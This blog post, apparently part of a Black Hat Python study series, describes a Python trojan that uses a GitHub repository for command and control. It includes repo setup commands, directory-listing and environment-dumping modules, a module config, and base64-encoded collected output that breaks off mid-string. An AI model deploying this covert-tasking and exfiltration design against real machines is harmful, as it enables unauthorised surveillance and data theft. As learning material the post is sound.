Black Hat Python — Trojans and Github

4 min readNov 5, 2017

I loved going through this exercise. We will create a simple python trojan which uses github for command and control. With GitHub, we can create our own python code modules that our trojan can import and execute..yes!! Python can import its modules using GitHub! Our trojan will seek out its configuration file to know what modules should be loaded. These modules will be executed and the exfiltrated data is uploaded to our GitHub repository. Pretty damn cool!

Github basics:mkdir project_folder
cd project_folder
mkdir modules
mkdir config
mkdir data
touch modules/.gitignore
touch config/.gitignore
touch data/.gitignore
git init
git add .
git commit -m "Creating Repo Structure"
git remote add origin <github_url_repository>
git push origin master

The config directory holds configuration files that will be uniquely identified for each trojan.

The modules directory contains any modular code that you want the trojan to pick up and execute.

The data directory is where the trojan will check in any collected data, keystrokes, screenshots, and so forth.

You can check out my repo here for reference. As an example, there are 2 simple modules:

dirlister: To list directories

import os
def run(**args):
  command_output = "[*] In dirlister module:\n\n"
  return command_output + str(os.listdir(".")) + "\n\n"

environ: To retrieve any environment variables on the remote machine

import os
def run(**args):
  command_output = "[*] In environ module:\n\n"
  return command_output + str(os.environ) + "\n\n"

They are extensible and you can pass multiple arguments if you wish.

Looking at the config folder, we have a default configuration file, in case our specific trojan config file is not located: ZGVmYXVsdA==.json and a trojan specific one : SVNBS0tJTEEtTS1DMEtQLTB4OGM4NTkwNDk2ZTBj.json

They names are encoded in Base64 so you can use https://www.base64decode.org to decode. The config file is a json formatted this way:

[
  {    "module": "dirlister"  },
  {    "module": "environ"  }
]

Essentially, a list of code modules for our trojan to load. This can be modified as you introduce more code modules on a per trojan basis identified using a unique trojan config file like mine: SVNBS0tJTEEtTS1DMEtQLTB4OGM4NTkwNDk2ZTBj.json which decodes to: ISAKKILA-M-C0KP-0x8c8590496e0c.json

Here is the trojan code. You need to put in your github account credentials which is not ideal but this just a learning exercise:

Executing this trojan has created the following file in my reposistory’s data folder:

However, the file contents is Base64 encoded (for obscurity…would be better to introduce encryption instead):

KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgpbKl0gUnVubmluZyBPbjogSVNBS0tJTEEtTS1DMEtQLTB4OGM4NTkwNDk2ZTBjClsqXSBUaW1lOiAyMDE3LTExLTAyVDE2OjIzOjM0LjQwMTQ4OApbKl0gVXNpbmcgU3BlY2lmaWMgTW9kdWxlcwpbKl0gU3VjY2Vzc2Z1bCBNb2R1bGVzIEltcG9ydCBGcm9tOiBjb25maWcvU1ZOQlMwdEpURUV0VFMxRE1FdFFMVEI0T0dNNE5Ua3dORGsyWlRCai5qc29uClsqXSBJbiBkaXJsaXN0ZXIgbW9kdWxlOgoKWycuRFNfU3RvcmUnLCAnMDAwd2ViaG9zdC50eHQnLCAnYWxsLnR4dCcsICdibGFja2hhdHB5dGhvbi1jaDcnLCAnY2ItbGl2ZS5qc29uJywgJ2NoMl9iaHBuZXQucHknLCAnY2gyX25ldGNhdF9leGFtcGxlLnB5JywgJ2NoMl9yZm9yd2FyZC5weScsICdjaDJfcmZvcndhcmRfc2VydmVyLnB5JywgJ2NoMl9zaW1wbGVfdGNwX3NlcnZlci5weScsICdjaDJfc3NoX2NsaWVudC5weScsICdjaDJfc3NoX3NlcnZlci5rZXknLCAnY2gyX3NzaF9zZXJ2ZXIucHknLCAnY2gyX3RjcHByb3h5X2V4YW1wbGUucHknLCAnY2gyX3RjcHNlcnZlcnRvb2xzX2V4YW1wbGUucHknLCAnY2g0X2FycF9wb2lzb24ucHknLCAnY2g1X2h0bWxfZm9ybV9icnV0ZV9mb3JjZS5weScsICdjaDVfaHR0cF9icnV0ZV9mb3JjZXIucHknLCAnY2g2X2J1cnBfc2VuZF90b19iaW5nLnB5JywgJ2NoNl9idXJwX3dvcmRsaXN0LnB5JywgJ2V4dGVybmFsX2VkZ2UtbGl2ZS5qc29uJywgJ2hvc3Qua2V5JywgJ2ludGVybmFsX2VkZ2UtbGl2ZS5qc29uJywgJ2p5dGhvbi1zdGFuZGFsb25lLTIuNy4wLmphcicsICdvdXRwdXQudHh0JywgJ3Bhc3N3ZC50eHQnLCAnc2NhcHlfcGFyc2VyLnB5JywgJ3NvbWVfZmlsZScsICd0ZXN0JywgJ3Rlc3QucGNhcCcsICd0ZXN0LnB5JywgJ3Rlc3QxLnB5JywgJ3Rlc3RfZm9sZGVyJywgJ3RleHRfcGNhcC5wY2FwJywgJ3VybHMudHh0JywgJ3VybHNfZnJvbV9wY2FwLnR4dCcsICd1cmxzX3NuaWZmLnR4dCddCgoKWypdIEluIGVudmlyb24gbW9kdWxlOgoKZW52aXJvbih7J1RFUk1fUFJPR1JBTSc6ICdBcHBsZV9UZXJtaW5hbCcsICdTSEVMTCc6ICcvYmluL2Jhc2gnLCAnVEVSTSc6ICd4dGVybS0yNTZjb2xvcicsICdUTVBESVInOiAnL3Zhci9mb2xkZXJzL3hsLzdibjAzdzU5MGNzN3I3MDczNW5nN3g2dzAwMDBnbi9ULycsICdBcHBsZV9QdWJTdWJfU29ja2V0X1JlbmRlcic6ICcvcHJpdmF0ZS90bXAvY29tLmFwcGxlLmxhdW5jaGQuMUVZOGhYbVFmRy9SZW5kZXInLCAnVEVSTV9QUk9HUkFNX1ZFUlNJT04nOiAnMzg4LjEuMScsICdPTERQV0QnOiAnL1VzZXJzL2lzYWtraWxhL0RvY3VtZW50cy9ibGFja2hhdHB5dGhvbi9ibGFja2hhdHB5dGhvbi1jaDcnLCAnVEVSTV9TRVNTSU9OX0lEJzogJzY3MjVFRkNDLTEwRkItNEU1OC04QzhCLUYwMjNGN0REQ0ZFNScsICdVU0VSJzogJ2lzYWtraWxhJywgJ1NTSF9BVVRIX1NPQ0snOiAnL3ByaXZhdGUvdG1wL2NvbS5hcHBsZS5sYXVuY2hkLjVmM1R2RkpNMVYvTGlzdGVuZXJzJywgJ19fQ0ZfVVNFUl9URVhUX0VOQ09ESU5HJzogJzB4MUY1OjB4MDoweDAnLCAnUEFUSCc6ICcvTGlicmFyeS9GcmFtZXdvcmtzL1B5dGhvbi5mcmFtZXdvcmsvVmVyc2lvbnMvMy42L2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2JpbjovYmluOi91c3Ivc2Jpbjovc2Jpbjovb3B0L1gxMS9iaW46L3Vzci9sb2NhbC9iaW4vamFtZjovQXBwbGljYXRpb25zL1dpcmVzaGFyay5hcHAvQ29udGVudHMvTWFjT1MnLCAnUFdEJzogJy9Vc2Vycy9pc2Fra2lsYS9Eb2N1bWVudHMvYmxhY2toYXRweXRob24nLCAnWFBDX0ZMQUdTJzogJzB4MCcsICdYUENfU0VSVklDRV9OQU1FJzogJzAnLCAnU0hMVkwnOiAnMScsICdIT01FJzogJy9Vc2Vycy9pc2Fra2lsYScsICdMT0dOQU1FJzogJ2lzYWtraWxhJywgJ0xDX0NUWVBFJzogJ1VURi04JywgJ0RJU1BMQVknOiAnL3ByaXZhdGUvdG1wL2NvbS5hcHBsZS5sYXVuY2hkLkxEdlRJRmxKZlAvb3JnLm1hY29zZm9yZ2UueHF1YXJ0ejowJywgJ18nOiAnL0xpYnJhcnkvRnJhbWV3b3Jrcy9QeXRob24uZnJhbWV3b3JrL1ZlcnNpb25zLzMuNi9iaW4vcHl0aG9uMycsICdfX1BZVkVOVl9MQVVOQ0hFUl9fJzogJy9MaWJyYXJ5L0ZyYW1ld29ya3MvUHl0aG9uLmZyYW1ld29yay9WZXJzaW9ucy8zLjYvYmluL3B5dGhvbjMnfSkKCgpbKl0gRmluaXNoZWQgRXhlY3V0aW5nIE1vZHVsZXMKWypdIFNsZWVwaW5nIEZvciAxMCBTZWNvbmRzCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKWypdIFJ1bm5pbmcgT246IElTQUtLSUxBLU0tQzBLUC0weDhjODU5MDQ5NmUwYwpbKl0gVGltZTogMjAxNy0xMS0wMlQxNjoyNDoxNC44ODQ5NjMKWypdIFVzaW5nIFNwZWNpZmljIE1vZHVsZXMKWypdIFN1Y2Nlc3NmdWwgTW9kdWxlcyBJbXBvcnQgRnJvbTogY29uZmlnL1NWTkJTMHRKVEVFdFRTMURNRXRRTFRCNE9HTTROVGt3TkRrMlpUQmouanNvbgpbKl0gSW4gZGlybGlzdGVyIG1vZHVsZToKClsnLkRTX1N0b3JlJywgJzAwMHdlYmhvc3QudHh0JywgJ2FsbC50eHQnLCAnYmxhY2toYXRweXRob24tY2g3JywgJ2NiLWxpdmUuanNvbicsICdjaDJfYmhwbmV0LnB5JywgJ2NoMl9uZXRjYXRfZXhhbXBsZS5weScsICdjaDJfcmZvcndhcmQucHknLCAnY2gyX3Jmb3J3YXJkX3NlcnZlci5weScsICdjaDJfc2ltcGxlX3RjcF9zZXJ2ZXIucHknLCAnY2gyX3NzaF9jbGllbnQucHknLCAnY2gyX3NzaF9zZXJ2ZXIua2V5JywgJ2NoMl9zc2hfc2VydmVyLnB5JywgJ2NoMl90Y3Bwcm94eV9leGFtcGxlLnB5JywgJ2NoMl90Y3BzZXJ2ZXJ0b29sc19leGFtcGxlLnB5JywgJ2NoNF9hcnBfcG9pc29uLnB5JywgJ2NoNV9odG1sX2Zvcm1fYnJ1dGVfZm9yY2UucHknLCAnY2g1X2h0dHBfYnJ1dGVfZm9yY2VyLnB5JywgJ2NoNl9idXJwX3NlbmRfdG9fYmluZy5weScsICdjaDZfYnVycF93b3JkbGlzdC5weScsICdleHRlcm5hbF9lZGdlLWxpdmUuanNvbicsICdob3N0LmtleScsICdpbnRlcm5hbF9lZGdlLWxpdmUuanNvbicsICdqeXRob24tc3RhbmRhbG9uZS0yLjcuMC5qYXInLCAnb3V0cHV0LnR4dCcsICdwYXNzd2QudHh0JywgJ3NjYXB5X3BhcnNlci5weScsICdzb21lX2ZpbGUnLCAndGVzdCcsICd0ZXN0LnBjYXAnLCAndGVzdC5weScsICd0ZXN0MS5weScsICd0ZXN0X2ZvbGRlcicsICd0ZXh0X3BjYXAucGNhcCcsICd1cmxzLnR4dCcsICd1cmxzX2Zyb21fcGNhcC50eHQnLCAndXJsc19zbmlmZi50eHQnXQoKClsqXSBJbiBlbnZpcm9uIG1vZHVsZToKCmVudmlyb24oeydURVJNX1BST0dSQU0nOiAnQXBwbGVfVGVybWluYWwnLCAnU0hFTEwnOiAnL2Jpbi9iYXNoJywgJ1RFUk0nOiAneHRlcm0tMjU2Y29sb3InLCAnVE1QRElSJzogJy92YXIvZm9sZGVycy94bC83Ym4wM3c1OTBjczdyNzA3MzVuZzd4NncwMDAwZ24vVC8nLCAnQXBwbGVfUHViU3ViX1NvY2tldF9SZW5kZXInOiAnL3ByaXZhdGUvdG1wL2NvbS5hcHBsZS5sYXVuY2hkLjFFWThoWG1RZkcvUmVuZGVyJywgJ1RFUk1fUFJPR1JBTV9WRVJTSU9OJzogJzM4OC4xLjEnLCAnT0xEUFdEJzogJy9Vc2Vycy9pc2Fra2lsYS9Eb2N1bWVudHMvYmxhY2toYXRweXRob24vYmxhY2toYXRweXRob24tY2g3JywgJ1RFUk1fU0VTU0lPTl9JRCc6ICc2NzI1RUZDQy0xMEZCLTRFNTgtOEM4Qi1GMDIzRjdERENGRTUnLCAnVVNFUic6ICdpc2Fra2lsYScsICdTU0hfQVVUSF9TT0NLJzogJy9wcml2YXRlL3RtcC9jb20uYXBwbGUubGF1bmNoZC41ZjNUdkZKTTFWL0xpc3RlbmVycycsICdfX0NGX1VTRVJfVEVYVF9FTkNPRElORyc6ICcweDFGNToweDA6MHgwJywgJ1BBVEgnOiAnL0xpYnJhcnkvRnJhbWV3b3Jrcy9QeXRob24uZnJhbWV3b3JrL1ZlcnNpb25zLzMuNi9iaW46L3Vzci9sb2NhbC9iaW46L3Vzci9iaW46L2JpbjovdXNyL3NiaW46L3NiaW46L29wdC9YMTEvYmluOi91c3IvbG9jYWwvYmluL2phbWY6L0FwcGxpY2F0aW9ucy9XaXJlc2hhcmsuYXBwL0NvbnRlbnRzL01hY09TJywgJ1BXRCc6ICcvVXNlcnMvaXNha2tpbGEvRG9jdW1lbnRzL2JsYWNraGF0cHl0aG9uJywgJ1hQQ19GTEFHUyc6ICcweDAnLCAnWFBDX1NFUlZJQ0VfTkFNRSc6ICcwJywgJ1NITFZMJzogJzEnLCAnSE9NRSc6ICcvVXNlcnMvaXNha2tpbGEnLCAnTE9HTkFNRSc6ICdpc2Fra2lsYScsICdMQ19DVFlQRSc6ICdVVEYtOCcsICdESVNQTEFZJzogJy9wcml2YXRlL3RtcC9jb20uYXBwbGUubGF1bmNoZC5MRHZUSUZsSmZQL29yZy5tYWNvc2ZvcmdlLnhxdWFydHo6MCcsICdfJzogJy9MaWJyYXJ5L0ZyYW1ld29ya3MvUHl0aG9uLmZyYW1ld29yay9WZXJzaW9ucy8zLjYvYmluL3B5dGhvbjMnLCAnX19QWVZFTlZfTEFVTkNIRVJfXyc6ICcvTGlicmFyeS9GcmFtZXdvcmtzL1B5dGhvbi5mcmFtZXdvcmsvVmVyc2lvbnMvMy42L2Jpbi9weXRob24zJ30pCgoKWypdIEZpbmlzaGVkIEV4ZWN1dGluZyBNb2R1bGVzClsqXSBTbGVlcGluZyBGb3IgMTAgU2Vjb25kcwoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqClsqXSBSdW5uaW5nIE9uOiBJU0FLS0lMQS1NLUMwS1AtMHg4Yzg1OTA0OTZlMGMKWypdIFRpbWU6IDIwMTctMTEtMDJUMTY6MjQ6MzkuMzgyMDU5ClsqXSBVc2luZyBTcGVjaWZpYyBNb2R1bGVzClsqXSBTdWNjZXNzZnVsIE1vZHVsZXMgSW1wb3J0IEZyb206IGNvbmZpZy9TVk5CUzB0SlRFRXRUUzFETUV0UUxUQjRPR000TlRrd05EazJaVEJqLmpzb24KWypdIEluIGRpcmxpc3RlciBtb2R1bGU6CgpbJy5EU19TdG9yZScsICcwMDB3ZWJob3N0LnR4dCcsICdhbGwudHh0JywgJ2JsYWNraGF0cHl0aG9uLWNoNycsICdjYi1saXZlLmpzb24nLCAnY2gyX2JocG5ldC5weScsICdjaDJfbmV0Y2F0X2V4YW1wbGUucHknLCAnY2gyX3Jmb3J3YXJkLnB5JywgJ2NoMl9yZm9yd2FyZF9zZXJ2ZXIucHknLCAnY2gyX3NpbXBsZV90Y3Bfc2VydmVyLnB5JywgJ2NoMl9zc2hfY2xpZW50LnB5JywgJ2NoMl9zc2hfc2VydmVyLmtleScsICdjaDJfc3NoX3NlcnZlci5weScsICdjaDJfdGNwcHJveHlfZXhhbXBsZS5weScsICdjaDJfdGNwc2VydmVydG9vbHNfZXhhbXBsZS5weScsICdjaDRfYXJwX3BvaXNvbi5weScsICdjaDVfaHRtbF9mb3JtX2JydXRlX2ZvcmNlLnB5JywgJ2NoNV9odHRwX2JydXRlX2ZvcmNlci5weScsICdjaDZfYnVycF9zZW5kX3RvX2JpbmcucHknLCAnY2g2X2J1cnBfd29yZGxpc3QucHknLCAnZXh0ZXJuYWxfZWRnZS1saXZlLmpzb24nLCAnaG9zdC5rZXknLCAnaW50ZXJuYWxfZWRnZS1saXZlLmpzb24nLCAnanl0aG9uLXN0YW5kYWxvbmUtMi43LjAuamFyJywgJ291dHB1dC50eHQnLCAncGFzc3dkLnR4dCcsICdzY2FweV9wYXJzZXIucHknLCAnc29tZV9maWxlJywgJ3Rlc3QnLCAndGVzdC5wY2FwJywgJ3Rlc3QucHknLCAndGVzdDEucHknLCAndGVzdF9mb2xkZXInLCAndGV4dF9wY2FwLnBjYXAnLCAndXJscy50eHQnLCAndXJsc19mcm9tX3BjYXAudHh0JywgJ3VybHNfc25pZmYudHh0J10KCgpbKl0gSW4gZW52aXJvbiBtb2R1bGU6CgplbnZpcm9uKHsnVEVSTV9QUk9HUkFNJzogJ0FwcGxlX1Rlcm1pbmFsJywgJ1NIRUxMJzogJy9iaW4vYmFzaCcsICdURVJNJzogJ3h0ZXJtLTI1NmNvbG9yJywgJ1RNUERJUic6ICcvdmFyL2ZvbGRlcnMveGwvN2JuMDN3NTkwY3M3cjcwNzM1bmc3eDZ3MDAwMGduL1QvJywgJ0FwcGxlX1B1YlN1Yl9Tb2NrZXRfUmVuZGVyJzogJy9wcml2YXRlL3RtcC9jb20uYXBwbGUubGF1bmNoZC4xRVk4aFhtUWZHL1JlbmRlcicsICdURVJNX1BST0dSQU1fVkVSU0lPTic6ICczODguMS4xJywgJ09MRFBXRCc6ICcvVXNlcnMvaXNha2tpbGEvRG9jdW1lbnRzL2JsYWNraGF0cHl0aG9uL2JsYWNraGF0cHl0aG9uLWNoNycsICdURVJNX1NFU1NJT05fSUQnOiAnNjcyNUVGQ0MtMTBGQi00RTU4LThDOEItRjAyM0Y3RERDRkU1JywgJ1VTRVInOiAnaXNha2tpbGEnLCAnU1NIX0FVVEhfU09DSyc6ICcvcHJpdmF0ZS90bXAvY29tLmFwcGxlLmxhdW5jaGQuNWYzVHZGSk0xVi9MaXN0ZW5lcnMnLCAnX19DRl9VU0VSX1RFWFRfRU5DT0RJTkcnOiAnMHgxRjU6MHgwOjB4MCcsICdQQVRIJzogJy9MaWJyYXJ5L0ZyYW1ld29ya3MvUHl0aG9uLmZyYW1ld29yay9WZXJzaW9ucy8zLjYvYmluOi91c3IvbG9jYWwvYmluOi91c3IvYmluOi9iaW46L3Vzci9zYmluOi9zYmluOi9vcHQvWDExL2JpbjovdXNyL2xvY2FsL2Jpbi9qYW1mOi9BcHBsaWNhdGlvbnMvV2lyZXNoYXJrLmFwcC9Db250ZW50cy9NYWNPUycsICdQV0QnOiAnL1VzZXJzL2lzYWtraWxhL0RvY3VtZW50cy9ibGFja2hhdHB5dGhvbicsICdYUENfRkxBR1MnOiAnMHgwJywgJ1hQQ19TRVJWSUNFX05BTUUnOiAnMCcsICdTSExWTCc6ICcxJywgJ0hPTUUnOiAnL1VzZXJzL2lzYWtraWxhJywgJ0xPR05BTUUnOiAnaXNha2tpbGEnLCAnTENfQ1RZUEUnOiAnVVRGLTgnLCAnRElTUExBWSc6ICcvcHJpdmF0ZS90bXAvY29tLmFwcGxlLmxhdW5jaGQuTER2VElGbEpmUC9vcmcubWFjb3Nmb3JnZS54cXVhcnR6OjAnLCAnXyc6ICcvTGlicmFyeS9GcmFtZXdvcmtzL1B5dGhvbi5mcmFtZXdvcmsvVmVyc2lvbnMvMy42L2Jpbi9weXRob24zJywgJ19fUFlWRU5WX0xBVU5DSEVSX18nOiAnL0xpYnJhcnkvRnJhbWV3b3Jrcy9QeXRob24uZnJhbWV3b3JrL1ZlcnNpb25zLzMuNi9iaW4vcHl0aG9uMyd9KQoKClsqXSBGaW5pc2hlZCBFeGVjdXRpbmcgTW9kdWxlcwpbKl0gU2xlZXBpbmcgRm9yIDEwIFNlY29uZHMKKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgpbKl0gUnVubmluZyBPbjogSVNBS0tJTEEtTS1DMEtQLTB4OGM4NTkwNDk2ZTBjClsqXSBUaW1lOiAyMDE3LTExLTAyVDE2OjI1OjA5LjM4MTk2NwpbKl0gVXNpbmcgU3BlY2lmaWMgTW9kdWxlcwpbKl0gU3VjY2Vzc2Z1bCBNb2R1bGVzIEltcG9ydCBGcm9tOiBjb25maWcvU1ZOQlMwdEpURUV0VFMxRE1FdFFMVEI0T0dNNE5Ua3dORGsyWlRCai5qc29uClsqXSBJbiBkaXJsaXN0ZXIgbW9kdWxlOgoKWycuRFNfU3RvcmUnLCAnMDAwd2ViaG9zdC50eHQnLCAnYWxsLnR4dCcsICdibGFja2hhdHB5dGhvbi1jaDcnLCAnY2ItbGl2ZS5qc29uJywgJ2NoMl9iaHBuZXQucHknLCAnY2gyX25ldGNhdF9leGFtcGxlLnB5JywgJ2NoMl9yZm9yd2FyZC5weScsICdjaDJfcmZvcndhcmRfc2VydmVyLnB5JywgJ2NoMl9zaW1wbGVfdGNwX3NlcnZlci5weScsICdjaDJfc3NoX2NsaWVudC5weScsICdjaDJfc3NoX3NlcnZlci5rZXknLCAnY2gyX3NzaF9zZXJ2ZXIucHknLCAnY2gyX3RjcHByb3h5X2V4YW1wbGUucHknLCAnY2gyX3RjcHNlcnZlcnRvb2xzX2V4YW1wbGUucHknLCAnY2g0X2FycF9wb2lzb24ucHknLCAnY2g1X2h0bWxfZm9ybV9icnV0ZV9mb3JjZS5weScsICdjaDVfaHR0cF9icnV0ZV9mb3JjZXIucHknLCAnY2g2X2J1cnBfc2VuZF90b19iaW5nLnB5JywgJ2NoNl9idXJwX3dvcmRsaXN0LnB5JywgJ2V4dGVybmFsX2VkZ2UtbGl2ZS5qc29uJywgJ2hvc3Qua2V5JywgJ2ludGVybmFsX2VkZ2UtbGl2ZS5qc29uJywgJ2p5dGhvbi1zdGFuZGFsb25lLTIuNy4wLmphcicsICdvdXRwdXQudHh0JywgJ3Bhc3N3ZC50eHQnLCAnc2NhcHlfcGFyc2VyLnB5JywgJ3NvbWVfZmlsZScsICd0ZXN0JywgJ3Rlc3QucGNhcCcsICd0ZXN0LnB5JywgJ3Rlc3QxLnB5JywgJ3Rlc3RfZm9sZGVyJywgJ3RleHRfcGNhcC5wY2FwJywgJ3VybHMudHh0JywgJ3VybHNfZnJvbV9wY2FwLnR4dCcsICd1cmxzX3NuaWZmLnR4dCddCgoKWypdIEluIGVudmlyb24gbW9kdWxlOgoKZW52aXJvbih7J1RFUk1fUFJPR1JBTSc6ICdBcHBsZV9UZXJtaW5hbCcsICdTSEVMTCc6ICcvYmluL2Jhc2gnLCAnVEVSTSc6ICd4dGVybS0yNTZjb2xvcicsICdUTVBESVInOiAnL3Zhci9mb2xkZXJzL3hsLzdibjAzdzU5MGNzN3I3MDczNW5nN3g2dzAwMDBnbi9ULycsICdBcHBsZV9QdWJTdWJfU29ja2V0X1JlbmRlcic6ICcvcHJpdmF0ZS90bXAvY29tLmFwcGxlLmxhdW5jaGQuMUVZOGhYbVFmRy9SZW5kZXInLCAnVEVSTV9QUk9HUkFNX1ZFUlNJT04nOiAnMzg4LjEuMScsICdPTERQV0QnOiAnL1VzZXJzL2lzYWtraWxhL0RvY3VtZW50cy9ibGFja2hhdHB5dGhvbi9ibGFja2hhdHB5dGhvbi1jaDcnLCAnVEVSTV9TRVNTSU9OX0lEJzogJzY3MjVFRkNDLTEwRkItNEU1OC04QzhCLUYwMjNGN0REQ0ZFNScsICdVU0VSJzogJ2lzYWtraWxhJywgJ1NTSF9BVVRIX1NPQ0snOiAnL3ByaXZhdGUvdG1wL2NvbS5hcHBsZS5sYXVuY2hkLjVmM1R2RkpNMVYvTGlzdGVuZXJzJywgJ19fQ0ZfVVNFUl9URVhUX0VOQ09ESU5HJzogJzB4MUY1OjB4MDoweDAnLCAnUEFUSCc6ICcvTGlicmFyeS9GcmFtZXdvcmtzL1B5dGhvbi5mcmFtZXdvcmsvVmVyc2lvbnMvMy42L2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2JpbjovYmluOi91c3Ivc2Jpbjovc2Jpbjovb3B0L1gxMS9iaW46L3Vzci9sb2NhbC9iaW4vamFtZjovQXBwbGljYXRpb25zL1dpcmVzaGFyay5hcHAvQ29udGVudHMvTWFjT1MnLCAnUFdEJzogJy9Vc2Vycy9pc2Fra2lsYS9Eb2N1bWVudHMvYmxhY2toYXRweXRob24nLCAnWFBDX0ZMQUdTJzogJzB4MCcsICdYUENfU0VSVklDRV9OQU1FJzogJzAnLCAnU0hMVkwnOiAnMScsICdIT01FJzogJy9Vc2Vycy9pc2Fra2lsYScsICdMT0dOQU1FJzogJ2lzYWtraWxhJywgJ0xDX0NUWVBFJzogJ1VURi04JywgJ0RJU1BMQVknOiAnL3ByaXZhdGUvdG1wL2NvbS5hcHBsZS5sYXVuY2hkLkxEdlRJRmxKZlAvb3JnLm1hY29zZm9yZ2UueHF1YXJ0ejowJywgJ18nOiAnL0xpYnJhcnkvRnJhbWV3b3Jrcy9QeXRob24uZnJhbWV3b3JrL1ZlcnNpb25zLzMuNi9iaW4vcHl0aG9uMycsICdfX1BZVkVOVl9MQVVOQ0hFUl9fJzogJy9MaWJyYXJ5L0ZyYW1ld29ya3MvUHl0aG9uLmZyYW1ld29yay9WZXJzaW9ucy8zLjYvYmluL3B5dGhvbjMnfSkKCgpbKl0gRmluaXNoZWQgRXhlY3V0aW5nIE1vZHVsZXMKWypdIFNsZWVwaW5nIEZvciAxMCBTZWNvbmRzCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKWypdIFJ1bm5pbmcgT246IElTQUtLSUxBLU0tQzBLUC0weDhjODU5MDQ5NmUwYwpbKl0gVGltZTogMjAxNy0xMS0wMlQxNjoyNTozOC45OTQ4NTUKWypdIFVzaW5nIFNwZWNpZmljIE1vZHVsZXMKWypdIFN1Y2Nlc3NmdWwgTW9kdWxlcyBJbXBvcnQgRnJvbTogY29uZmlnL1NWTkJTMHRKVEVFdFRTMURNRXRRTFRCNE9HTTROVGt3TkRrMlpUQmouanNvbgpbKl0gSW4gZGlybGlzdGVyIG1vZHVsZToKClsnLkRTX1N0b3JlJywgJzAwMHdlYmhvc3QudHh0JywgJ2FsbC50eHQnLCAnYmxhY2toYXRweXRob24tY2g3JywgJ2NiLWxpdmUuanNvbicsICdjaDJfYmhwbmV0LnB5JywgJ2NoMl9uZXRjYXRfZXhhbXBsZS5weScsICdjaDJfcmZvcndhcmQucHknLCAnY2gyX3Jmb3J3YXJkX3NlcnZlci5weScsICdjaDJfc2ltcGxlX3RjcF9zZXJ2ZXIucHknLCAnY2gyX3NzaF9jbGllbnQucHknLCAnY2gyX3NzaF9zZXJ2ZXIua2V5JywgJ2NoMl9zc2hfc2VydmVyLnB5JywgJ2NoMl90Y3Bwcm94eV9leGFtcGxlLnB5JywgJ2NoMl90Y3BzZXJ2ZXJ0b29sc19leGFtcGxlLnB5JywgJ2NoNF9hcnBfcG9pc29uLnB5JywgJ2NoNV9odG1sX2Zvcm1fYnJ1dGVfZm9yY2UucHknLCAnY2g1X2h0dHBfYnJ1dGVfZm9yY2VyLnB5JywgJ2NoNl9idXJwX3NlbmRfdG9fYmluZy5weScsICdjaDZfYnVycF93b3JkbGlzdC5weScsICdleHRlcm5hbF9lZGdlLWxpdmUuanNvbicsICdob3N0LmtleScsICdpbnRlcm5hbF9lZGdlLWxpdmUuanNvbicsICdqeXRob24tc3RhbmRhbG9uZS0yLjcuMC5qYXInLCAnb3V0cHV0LnR4dCcsICdwYXNzd2QudHh0JywgJ3NjYXB5X3BhcnNlci5weScsICdzb21lX2ZpbGUnLCAndGVzdCcsICd0ZXN0LnBjYXAnLCAndGVzdC5weScsICd0ZXN0MS5weScsICd0ZXN0X2ZvbGRlcicsICd0ZXh0X3BjYXAucGNhcCcsICd1cmxzLnR4dCcsICd1cmxzX2Zyb21fcGNhcC50eHQnLCAndXJsc19zbmlmZi50eHQnXQoKClsqXSBJbiBlbnZpcm9uIG1vZHVsZToKCmVudmlyb24oeydURVJNX1BST0dSQU0nOiAnQXBwbGVfVGVybWluYWwnLCAnU0hFTEwnOiAnL2Jpbi9iYXNoJywgJ1RFUk0nOiAneHRlcm0tMjU2Y29sb3InLCAnVE1QRElSJzogJy92YXIvZm9sZGVycy94bC83Ym4wM3c1OTBjczdyNzA3MzVuZzd4NncwMDAwZ24vVC8nLCAnQXBwbGVfUHViU3ViX1NvY2tldF9SZW5kZXInOiAnL3ByaXZhdGUvdG1wL2NvbS5hcHBsZS5sYXVuY2hkLjFFWThoWG1RZkcvUmVuZGVyJywgJ1RFUk1fUFJPR1JBTV9WRVJTSU9OJzogJzM4OC4xLjEnLCAnT0xEUFdEJzogJy9Vc2Vycy9pc2Fra2lsYS9Eb2N1bWVudHMvYmxhY2toYXRweXRob24vYmxhY2toYXRweXRob24tY2g3JywgJ1RFUk1fU0VTU0lPTl9JRCc6ICc2NzI1RUZDQy0xMEZCLTRFNTgtOEM4Qi1GMDIzRjdERENGRTUnLCAnVVNFUic6ICdpc2Fra2lsYScsICdTU0hfQVVUSF9TT0NLJzogJy9wcml2YXRlL3RtcC9jb20uYXBwbGUubGF1bmNoZC41ZjNUdkZKTTFWL0xpc3RlbmVycycsICdfX0NGX1VTRVJfVEVYVF9FTkNPRElORyc6ICcweDFGNToweDA6MHgwJywgJ1BBVEgnOiAnL0xpYnJhcnkvRnJhbWV3b3Jrcy9QeXRob24uZnJhbWV3b3JrL1ZlcnNpb25zLzMuNi9iaW46L3Vzci9sb2NhbC9iaW46L3Vzci9iaW46L2JpbjovdXNyL3NiaW46L3NiaW46L29wdC9YMTEvYmluOi91c3IvbG9jYWwvYmluL2phbWY6L0FwcGxpY2F0aW9ucy9XaXJlc2hhcmsuYXBwL0NvbnRlbnRzL01hY09TJywgJ1BXRCc6ICcvVXNlcnMvaXNha2tpbGEvRG9jdW1lbnRzL2JsYWNraGF0cHl0aG9uJywgJ1hQQ19GTEFHUyc6ICcweDAnLCAnWFBDX1NFUlZJQ0VfTkFNRSc6ICcwJywgJ1NITFZMJzogJzEnLCAnSE9NRSc6ICcvVXNlcnMvaXNha2tpbGEnLCAnTE9HTkFNRSc6ICdpc2Fra2lsYScsICdMQ19DVFlQRSc6ICdVVEYtOCcsICdESVNQTEFZJzogJy9wcml2YXRlL3RtcC9jb